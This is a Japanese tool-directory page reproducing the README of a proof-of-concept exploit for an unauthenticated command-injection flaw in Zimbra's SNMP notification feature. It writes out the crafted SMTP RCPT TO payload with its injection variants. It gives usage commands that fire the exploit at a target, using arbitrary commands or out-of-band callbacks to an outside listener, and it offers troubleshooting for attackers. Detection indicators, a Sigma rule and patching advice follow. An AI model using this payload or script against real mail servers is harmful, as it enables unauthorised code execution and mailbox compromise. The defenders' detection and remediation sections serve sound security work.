Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-73570 — CVE-2026-73570 の概念実証エクスプロイト。Zimbra Collaboration Suite における zimbra-snmp ログインジェクションを介した未認証 OS コマンドインジェクションであり、検出ガイダンスも含む。 | Kitploit
ツール/GitHubGitHub/hainhc/cve-2026-73570
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストインシデントレスポンスメールセキュリティ
GitHubhainhc/cve-2026-73570

CVE-2026-73570

CVE-2026-73570 の概念実証エクスプロイト。Zimbra Collaboration Suite における zimbra-snmp ログインジェクションを介した未認証 OS コマンドインジェクションであり、検出ガイダンスも含む。

リポジトリを見る
12時間26分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-73570 — Zimbra zimbra-snmp 未認証OSコマンドインジェクション PoC

CVE-2026-73570 の概念実証エクスプロイト。これは Zimbra Collaboration Suite < 10.1.20 において、zimbra-snmp パッケージがインストールされ、SNMP 通知が有効になっている場合に発生する未認証のOSコマンドインジェクション(CWE-78、CVSS 8.9)です。

免責事項: この PoC は認可されたセキュリティテスト、防御的研究、および自身のシステムの検証のみを目的としています。所有していないシステム、またはテストに対する明示的な書面による許可を持たないシステムに対して使用しないでください。

脆弱性のメカニズム

Zimbra の SNMP 通知機能は swatchdog を使用して /var/log/zimbra.log を監視し、サービスイベントを検出します。ログ行が監視パターンに一致すると、一致したテキストが SNMP 通知を送信するシェルコマンドにサニタイズされずに埋め込まれます。

攻撃チェーン:

root@kitploit:~
1. 攻撃者が細工された RCPT TO アドレスを含む SMTP セッションを送信する:

   RCPT TO:<"x: Service status change: localhost $(CMD)
            changed from stopped to running"@cve.invalid>

   ローカルパートは RFC 5321 の引用文字列であるため、Postfix は
   このアドレス構文(スペース、コロン、$(...) を含む)を受け入れる。

2. Postfix は受信者を拒否し(リレー拒否 / ユーザー不明 / 送信者
   制限)、引用符を除去した完全な to=<...> 文字列を
   /var/log/zimbra.log に書き込む:

   NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
   change: localhost $(CMD) changed from stopped to [email protected]> ...

3. swatchdog (zimbra-snmp) が定期的にログをスキャンし、監視パターン
   "Service status change ... changed from ... to ..." に一致させる。

4. 一致したテキストが SNMP 通知シェルコマンドに埋め込まれる
   -> $(CMD) が評価される -> `zimbra` ユーザーとしてコマンドが実行される。

要件

ターゲットは以下のすべてを満たす必要があります:

  • Zimbra Collaboration < 10.1.20
  • zimbra-snmp パッケージがインストールされている
  • SNMP 通知が有効になっている (zmlocalconfig | grep -i snmp_notify)

攻撃者側: Python 3(標準ライブラリのみ、依存関係なし)。

使用方法

root@kitploit:~
# 1. アウトオブバンド DNS コールバックで RCE を検証 (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site

# 2. 自身のリスナーへの HTTP コールバックで RCE を検証:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb

# 3. ホストにマーカーファイルを配置 (後でサーバー上で手動確認):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"

# 4. フィンガープリントのみ (ペイロードは送信しない):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only

# デバッグ: 完全な SMTP トランスクリプトを表示
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug

オプション:

フラグ説明
-t, --targetターゲットの Zimbra SMTP IP/ホスト名 (必須)
-p, --portSMTP ポート (デフォルト: 25)
--tlsSTARTTLS を使用 (例: ポート 587)
--oobOOB DNS ドメインまたは HTTP コールバック URL (推奨)
--cmdOOB コールバックの代わりに任意のコマンド
--fake-host偽の Service status change 文字列内のホスト名 (デフォルト: localhost)
--check-onlyフィンガープリントのみ、ペイロードは送信しない
--delay送信間の遅延 (秒) (デフォルト: 1.0)
--debug完全な SMTP トランスクリプトを表示

検証

スクリプトは各コマンドを複数のインジェクション変種 ($(...)、バッククォート、;cmd;#、$({IFS}...)) で送信します。各変種について、RCPT レスポンスコードを監視してください:

RCPT レスポンス意味
250、450、454 Relay access denied、550 5.1.1 User unknownアドレス構文が受け入れられた — 完全な to=<...> 文字列を含む拒否行がログに記録された。ペイロードが仕込まれた。
501 5.1.3 Bad recipient address syntaxPostfix がパース時にアドレスを拒否した — 有用なものはログに記録されていない。スクリプトは自動的に引用符なしのフォールバックで再試行する。

次にサーバー上で確認します (アクセス権がある場合):

root@kitploit:~
# インジェクションされた行が存在する必要がある:
grep 'Service status change' /var/log/zimbra.log | tail
# 期待値: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...

# 1〜5 分待つ (swatchdog は定期的にログをスキャンする — 実行はリアルタイムではない)、
# その後、効果を確認する:
ls -la /tmp/                    # --cmd を使用した場合
# または OOB リスナーでコールバックを監視する

ログ行が存在するのにコマンドが実行されない場合、残りの前提条件は swatchdog 側にあります: プロセスが実行中であること (ps aux | grep swatch)、およびその設定が実際に Service status change パターンを監視していることを確認してください。

実行コンテキスト: コマンドは zimbra ユーザーとして実行されます (root ではない)。

トラブルシューティング

  • ログ行が全くない: 送信元 IP がブロックされている可能性が高い (繰り返しの不正な試行による fail2ban、またはファイアウォール)。fail2ban-client status、iptables -L -n | grep <your_ip> を確認し、tcpdump -i any port 25 and host <your_ip> -nn -A でパケットが Postfix に到達していることを確認してください。
  • grep の範囲が狭すぎる: 不正なアドレスは NOQUEUE: reject 行ではなく、warning: Illegal address syntax ... in RCPT command: ... としてログに記録されます。代わりに攻撃者 IP で grep してください。
  • 実行遅延: swatchdog はログを周期的にポーリングします — 失敗と結論付ける前に 1〜5 分待ってください。

検出 (防御者向け)

悪用成功の主な指標:

  1. ログアーティファクト (試行): /var/log/zimbra.log の Postfix 拒否行内の to=<*: Service status change: *$(...)* — Service status change というテキストが to=<> アドレス内に正当に現れることはないため、誤検知はほぼゼロです。
  2. プロセスツリー (高精度): swatchdog / swatch の子プロセスとして生成されたシェルまたはコマンドインタプリタ (sh、bash、curl、wget、nc、python、perl)。
  3. ポストエクスプロイト: /opt/zimbra/jetty/webapps/ または /opt/zimbra/jetty_base/webapps/ 配下の新しい .jsp/.jspx ファイル、/tmp/ 内の予期しないファイル、zimbra ユーザーの新しい cron エントリまたは SSH キー、およびメールサーバーからの通常のメールフローに一致しない外向き接続。

Sigma ルールの例 (試行段階):

root@kitploit:~
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
  product: linux
  service: postfix
detection:
  sel:
    - 'to=<*: Service status change: *$(*'
    - 'to=<*: Service status change: *`*'
  condition: sel
level: high
tags:
  - attack.initial-access
  - attack.t1190
  - cve.2026.73570

修復

  • Zimbra Collaboration を 10.1.20 以降にアップグレードしてください。
  • 即時のアップグレードが不可能な場合: SNMP 通知を無効にし、パッチが適用されるまで zimbra-snmp パッケージの停止/削除を検討してください。
  • この CVE は CISA KEV に掲載されており、活発な悪用が確認されています — 以前に脆弱であったシステムでは少なくとも 30 日分のログを遡って調査し、侵害が確認された場合は完全なメールボックスデータの漏洩として扱ってください。

参考資料

  • Zimbra セキュリティアドバイザリ (ベンダー): https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
  • Zimbra 10.1.20 パッチリリース (修正): https://blog.zimbra.com/2026/07/patch-release-update-zimbra-10-1-20/
  • NVD — CVE-2026-73570: https://nvd.nist.gov/vuln/detail/CVE-2026-73570
  • CISA 既知の悪用された脆弱性カタログ (2026-08-21 追加): https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search=CVE-2026-73570
  • CISA アラート — 「CISA Adds One Known Exploited Vulnerability to Catalog」: https://www.cisa.gov/news-events/alerts/2026/08/21/cisa-adds-one-known-exploited-vulnerability-catalog
  • CERT Polska アドバイザリ 145/2026 (活発な悪用 + IoC ガイダンス、2026-08-17): https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/
  • BleepingComputer — 「Critical Zimbra RCE flaw now actively exploited in attacks」: https://www.bleepingcomputer.com/news/security/critical-zimbra-rce-flaw-now-actively-exploited-in-attacks/
  • Help Net Security — 「Unpatched Zimbra servers are falling to CVE-2026-73570 attacks」: https://www.helpnetsecurity.com/2026/08/25/zimbra-cve-2026-73570-compromised/
ツールをダウンロード